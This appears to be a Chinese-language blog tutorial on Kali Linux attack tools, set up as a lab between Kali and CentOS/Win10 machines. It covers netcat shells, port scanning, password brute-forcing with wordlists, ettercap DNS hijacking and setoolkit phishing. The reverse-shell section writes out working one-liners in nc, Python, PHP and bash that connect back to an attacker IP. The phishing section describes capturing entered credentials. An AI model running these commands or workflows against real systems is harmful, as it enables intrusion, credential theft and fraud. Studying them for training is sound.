kali使用
nc工具
众所周知nc是kali里面一个很重要的工具
主要功能是可以再两台设备上面相互交互,即侦听模式
1.简单交互
简单的可以用来一台靶机去监听另一台靶机来达到简单的交互功能
比如说现在是kali开启一个监听端口7777,并且输出连接详情信息
1 | nc -lvp 7777 |
那么这个端口就是在等待别的靶机给他来传输一些信息
让一台centos靶机来连接这个端口来达到两台靶机交互的目的
1 | nc ip(监听机的ip) 7777(端口号) |
2.传输文件里面的内容

3.获取shell

实操:
前提:centos7是目标服务器 kali攻击服务器
正向shell
服务器发起监听,并发出shell文件,攻击机来连接,攻击机正向获取权限
服务器端

攻击机

这里注意服务器端的防火墙要对6666端口放心,否则服务器会将6666的tcp入站包丢弃了
/bin/bash

bash = shell,运行在终端之上,负责:
显示提示符
解析命令
执行系统调用
做管道、重定向、变量展开等
反向shell
攻击机发起监听 目标服务器发出shell文件,主动来连接攻击机的监听端口
攻击机

服务器

正向shell和反向shell
正向shell(内网)
上面也提到过正向shell连接,必须得是目标服务器的那个监听端口在防火墙上被放开了,否则就会连不上
所以一般正向用的很少,一般放在不出内网的情况下,也就是靶机不能正常上网,但是可以访问内网主机
反向shell(外网)
就是等目标服务器来主动连接我们,因为我们可以决定我们的机器(攻击机)上的哪些端口可以被开放
所以一般用的比较多的就是反弹shell,让目标服务器主动来连接上我们的攻击机,然后得到目标服务器的shell
但是nc这款工具在执行反弹shell最有局限的地方就是,万一目标服务器没有nc呢这咋办
下面介绍一些除了nc来反弹shell的其他方法
反弹shell
下面是让目标服务器主动连到我们监听端口的命令(具体怎么主动后面还会讲)
利用工具nc
1 | nc 192.168.240.99 6666 -e /bin/bash |
python
1 | python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.240.99",6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])' |
php
1 | php -r "\$s=fsockopen('192.168.240.99',6666);proc_open('/bin/sh',array(0=>\$s,1=>\$s,2=>\$s),\$pipes);" |
linux自带的
1 | bash -i >& /dev/tcp/192.168.240.99/6666 0>&1 |
namp
namp ip 扫描主机开放的端口(这个ip可以连接的到)
namp -sV也可以用来端口扫描


xhydra(九头蛇)(爆破)
xhydra是图形化的爆破
hydra是命令行形式的。之前在做实验时,ssh密码爆破就是用的这个命令
但是我们爆破就需要有字典,字典怎么来呢
crunch(创建密码字典工具)

这一步我们就会用到kali的另一个工具cewl
cewl
cewl 用于从目标网站 爬取页面内容,并提取出其中的 关键词、用户名、邮箱、密码提示 等信息,生成 自定义字典(wordlist),用于后续的 密码爆破 或 社会工程学攻击。
但是一般网站都会做防爬策略,一般爬不到什么重要信息,那就要另想方法去打入内部获取信息,然后根绝得到的信息组成各种不同形式的密码组成一个密码字典(可以利用crunch)
crunch自己生成一个密码字典
1 | crunch 6 8 123 > num6-8.txt//生成6-8位密码 是将123这三个数字拆分然后组合 |
下面假如我收集到了一些重要的信息,需要把这些信息组合起来
vi read.txt把我们收集到的信息放进去
1 | crunch 1 1 -q read |
当


代表四位数字密码 第一个数字,第二个特殊字符,第三个小写,第四个大写
ettercap(dns劫持)
这个工具一般就是做dns劫持,arp欺骗的
dns劫持:
先说正常情况下,我在浏览器输入一个域名,然后电脑就回去访问“地址簿”–DNS服务器,通过这个去找这个域名对应哪个ip,然后DNS把正确的门牌号告诉我,浏览器就能顺利访问到真正的网站
但是如果被劫持了
就是有人偷偷把地址簿撕掉一页,然后重新写了一个假的门牌号,然后当我去问DNS是,就只能拿到一个假的IP,那浏览器就只能找到一个假冒的网站了
下面开始利用kali和win10来演示整个过程
首先要让浏览器访问到一个假的网站界面,那我们就真的得有一个网站界面吧
搭建网站的一个必要条件就是中间件,kali自带一个中间件是apache2,我们中间件打开,然后进入一个网站的配置目录
/var/www/html目录

然后我们做到这别人就能通过我们的ip访问到我kali网站的主页面

到这我们在kali上的准备就做完了,下面开始做准备拦截的配置文件
1 | vi /etc/ettercap/etter.dns |

这代表我们将被害主机发出的全部访问,全部返回192.168.240.99的网站主页面
下面开始dns拦截




开始拦截,去验证一下

成功拦截
evillimiter(断网攻击)

setoolkit(社会工程学)(钓鱼攻击)
社会工程学集成攻击工具
下载好之后输入setoolkit会出现几个选项
第一个就是社会工程学攻击

我们输入1就会出现新的选项,然后输入2我们来具体学习一下钓鱼攻击


当我们进入到3之后钓鱼网站攻击之后,又会出现3个选项,就是图中的三个
假如我们现在又选择了1,就又会出现几个选项我们随便选一个进行测试,我选了谷歌的登录界面
这是如果又其他主机此时访问我们kali的ip就会出现谷歌的登录界面,然后如果他在里面输入了他谷歌的登录的账号和密码就会被记录下来
钓鱼网站:
- 复制外观 = 克隆前端页面(保存 HTML/CSS/图片,10 秒搞定)。
- 换门牌号 = 注册近似域名、短信/邮件里发假链接,或 DNS 劫持把真域名解析到攻击者服务器。
- 留签字 = 后台脚本把用户输入的账号、密码、2FA 实时写进攻击者的数据库/电报频道。
- 转身领真包裹 = 攻击者拿到凭证后立即登录真网站,转走资金、下载数据、发诈骗链。
一般钓鱼网站和dns劫持一起使用,先克隆一个一摸一样的前端页面,然后用dns,把受害者拐到自己克隆的假网站
我这里只是简单的介绍了一下一个功能,如果要具体使用的话,可以参考下面这篇文章写的很全面
评论区
欢迎你留下宝贵的意见,昵称输入QQ号会显示QQ头像哦~